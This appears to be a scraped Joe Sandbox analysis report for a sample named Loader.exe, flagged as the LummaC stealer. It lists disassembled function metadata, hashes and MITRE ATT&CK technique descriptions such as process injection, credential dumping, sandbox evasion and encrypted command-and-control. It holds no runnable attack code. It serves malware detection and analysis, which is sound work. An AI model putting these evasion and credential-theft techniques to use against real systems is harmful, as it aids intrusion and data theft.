Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: ef0ccfef6ce14c9a0c4e002279b8ce6e2cce4514f494b633728a66cc2905e27f
Instruction ID: 40ca304e30ad309c9742bcbc355efeefeb58ed7ab67cbba4bcf8c53a5351249d
Opcode Fuzzy Hash: ef0ccfef6ce14c9a0c4e002279b8ce6e2cce4514f494b633728a66cc2905e27f
Instruction Fuzzy Hash: 8AF0B234C4020CEBDB04DBB4DA8898EBBF4FF1D200B9145A5A412EB110E730AB54CB50

Function 002CBB6D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 002CBBFD

Strings

pow, xrefs: 002CBBD5, 002CBBF2

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 8f548199f9e31df2970e302b340749786547f07dae682dae57ef1ed8a1c9fa62
Instruction ID: 70287949da56f37cfe1d3f00dcdea36997205d239029d071dab67c53e7522b16
Opcode Fuzzy Hash: 8f548199f9e31df2970e302b340749786547f07dae682dae57ef1ed8a1c9fa62
Instruction Fuzzy Hash: 71517A609391039AC7127F14DE52FBA2BA09B40B51F344F5FE48E422A8EF318DB59A46

Function 002D1B16 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,002D2C5F), ref: 002D1B2F

Strings

0*+, xrefs: 002D1BF9, 002D1CA3, 002D1CE9
<-, xrefs: 002D1B9B

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: DecodePointer
String ID: 0*+$<-
API String ID: 3527080286-3245519328
Opcode ID: e1027a31e5a6d38a59ba540fe9e923fed1527531add6a3262fc8b473710c1cf3
Instruction ID: 0cba09a05c67dc51c59de6ed7a6b7158f1ee14c51443d358f1519621fa6f3037
Opcode Fuzzy Hash: e1027a31e5a6d38a59ba540fe9e923fed1527531add6a3262fc8b473710c1cf3
Instruction Fuzzy Hash: C5518B7197060AEBCF109FA8E88C1ADBBB0FF45348F150147D481AAB68D7B08D74CB51

Function 002C1D12 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,002C1C13,?,?,00000000,00000000,00000000,?), ref: 002C1D37

Strings

RCC, xrefs: 002C1D51
MOC, xrefs: 002C1D49

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: a5f67071ef180219ce7f5aac63bd1686d12007c39bfad6fc2f55d0931e0b7498
Instruction ID: b69b2901c2f94ea08c6e3af468a79d8287d1c756895b7a9e7d96ba522985dc5c
Opcode Fuzzy Hash: a5f67071ef180219ce7f5aac63bd1686d12007c39bfad6fc2f55d0931e0b7498
Instruction Fuzzy Hash: 8F41793291020AAFCF15DF94D882FEEBBB5BF49304F158299F905A7212D3359970DB50

Function 00422EB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00422F67

Strings

#|, xrefs: 00422ED2
~$, xrefs: 00422EDA

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: #|$~$
API String ID: 237503144-1891908638
Opcode ID: 272dfd1d6627198109df39eca2261d8ce41cdc1f1760eeebf8b73a28539f4b09
Instruction ID: 7c60b196303697f66f5468225567e483a754b79d9a5cbcd5bc9b4e0355bbd561
Opcode Fuzzy Hash: 272dfd1d6627198109df39eca2261d8ce41cdc1f1760eeebf8b73a28539f4b09
Instruction Fuzzy Hash: 2F3131757483149FD308CF64D88074FBBA2EBCA704F09C92CE6D45B2D5C7B899068B96

Function 00432A1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00432A4E
GetSystemMetrics.USER32 ref: 00432A5D

Strings

, xrefs: 00432B0B

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: d624dc3d91f27f90759a8b9df2392553bbcc0d8bad6c510b9c239a91690eeb66
Instruction ID: 95564d6794437dc0693950687fdf8a2eb14cbc1346cd3436bde2defe88fcd08e
Opcode Fuzzy Hash: d624dc3d91f27f90759a8b9df2392553bbcc0d8bad6c510b9c239a91690eeb66
Instruction Fuzzy Hash: 2F317EF49143148FDB00EF68D98565EBBF4BB89304F11852EE498DB364D774A988CF86

Function 002B3941 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002B39C9
RaiseException.KERNEL32(?,?,?,?), ref: 002B39EE

Part of subcall function 002B6FFC: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,?,?,?,002A303D), ref: 002B705D

Part of subcall function 002BEB03: IsProcessorFeaturePresent.KERNEL32(00000017,002BA13B,?,?,?,?,00000000,?,?,002BE59E,00000000,00000000,00000000,00000000,00000000), ref: 002BEB1F

Strings

csm, xrefs: 002B397D

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 4d4c65cfe20c5e26d695b8cea7dcba8e6f22db46653ce4d8894ebd0bda71ca92
Instruction ID: f7ed62072e44509fccccd8d64f288fe9a7e661abb09197d35cc3c1df4c9d7417
Opcode Fuzzy Hash: 4d4c65cfe20c5e26d695b8cea7dcba8e6f22db46653ce4d8894ebd0bda71ca92
Instruction Fuzzy Hash: 7421D431D10219DBCF34DF94D989AEEB7B8FF04790F150419E446AB250CBB0AE65CB81

Function 002B304D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002B3059
std::_Lockit::~_Lockit.LIBCPMT ref: 002B30B5

Strings

0*+, xrefs: 002B3080, 002B309A

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: 0*+
API String ID: 593203224-419236330
Opcode ID: 9413490788b5b55dd82560917d491588468be407eab16e5b805ec6983fee62a8
Instruction ID: c6149a648aa08b33c63042379b3697daf40866eaad171ec110321fef29e5d942
Opcode Fuzzy Hash: 9413490788b5b55dd82560917d491588468be407eab16e5b805ec6983fee62a8
Instruction Fuzzy Hash: D1014C35620616EFCB15EF18D885EA977B9EF84790B1400A9E8029B2A0DF70EE55CF50

Function 002B2F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 002B2F65
_Yarn.LIBCPMT ref: 002B2F89

Strings

l-, xrefs: 002B2F7D

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: Yarn
String ID: l-
API String ID: 1767336200-3460958610
Opcode ID: 39bd92aec441b33882bc753c2f0ca4c5067d2de216fcfe5d07991df547dc7cf3
Instruction ID: 985e4a7b4873720f867e52565dfd713b715f0f486a5b63f1f76cf6070afc82d6
Opcode Fuzzy Hash: 39bd92aec441b33882bc753c2f0ca4c5067d2de216fcfe5d07991df547dc7cf3
Instruction Fuzzy Hash: 48E065333287007BEB08A665EC52FFA33E8CB417E0F10002EFD1A8A6C1ED10BC244950

Function 002C3010 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 002C3050

Strings

0*+, xrefs: 002C3040
InitializeCriticalSectionEx, xrefs: 002C3020

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: 0*+$InitializeCriticalSectionEx
API String ID: 2593887523-1634505165
Opcode ID: c828011721dc8a1b57f9e426e7dca8f10258fc34c3af8a30163c055e8f5e920a
Instruction ID: 0b401f5cb04f99bc62e3ddfb6acfa66ce8560b6111520ef2a728bd821ec4c265
Opcode Fuzzy Hash: c828011721dc8a1b57f9e426e7dca8f10258fc34c3af8a30163c055e8f5e920a
Instruction Fuzzy Hash: 06E09232694219BBCF216F50DC0AE9E3F15EF41BA0B008122FD1919260D6714E30AB80

Function 002C2E96 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 002C2ECA

Strings

0*+, xrefs: 002C2EC0
FlsAlloc, xrefs: 002C2EA6

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: Alloc
String ID: 0*+$FlsAlloc
API String ID: 2773662609-776852136
Opcode ID: 3363ca8052202516fb7d271980e6d7edd190f0f09fccd4510fe6bd1baa706b06
Instruction ID: 1f57044240c19451a85a0d2327da5711ffa59f64ff3dbfbe5045b93620d1c258
Opcode Fuzzy Hash: 3363ca8052202516fb7d271980e6d7edd190f0f09fccd4510fe6bd1baa706b06
Instruction Fuzzy Hash: 9EE0C231AE0239A796117691AC0AEAE7D05DB81BA1F090132F9062A391AEB41D3056D6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD23D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD27D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD31A.tmp.xml

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
Loader.exe

Function 002E519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 002A1D60 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 161
libraryfileloaderCOMMON

Function 002A1C10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Function 002C9E94 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 002CA66D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 002C3D32 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 002A21C0 Relevance: 3.1, APIs: 2, Instructions: 59
COMMON

Function 002A1FC0 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Function 002C2257 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 002A14C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Function 002B4C50 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Function 002B3370 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 002C2291 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Function 002AF650 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre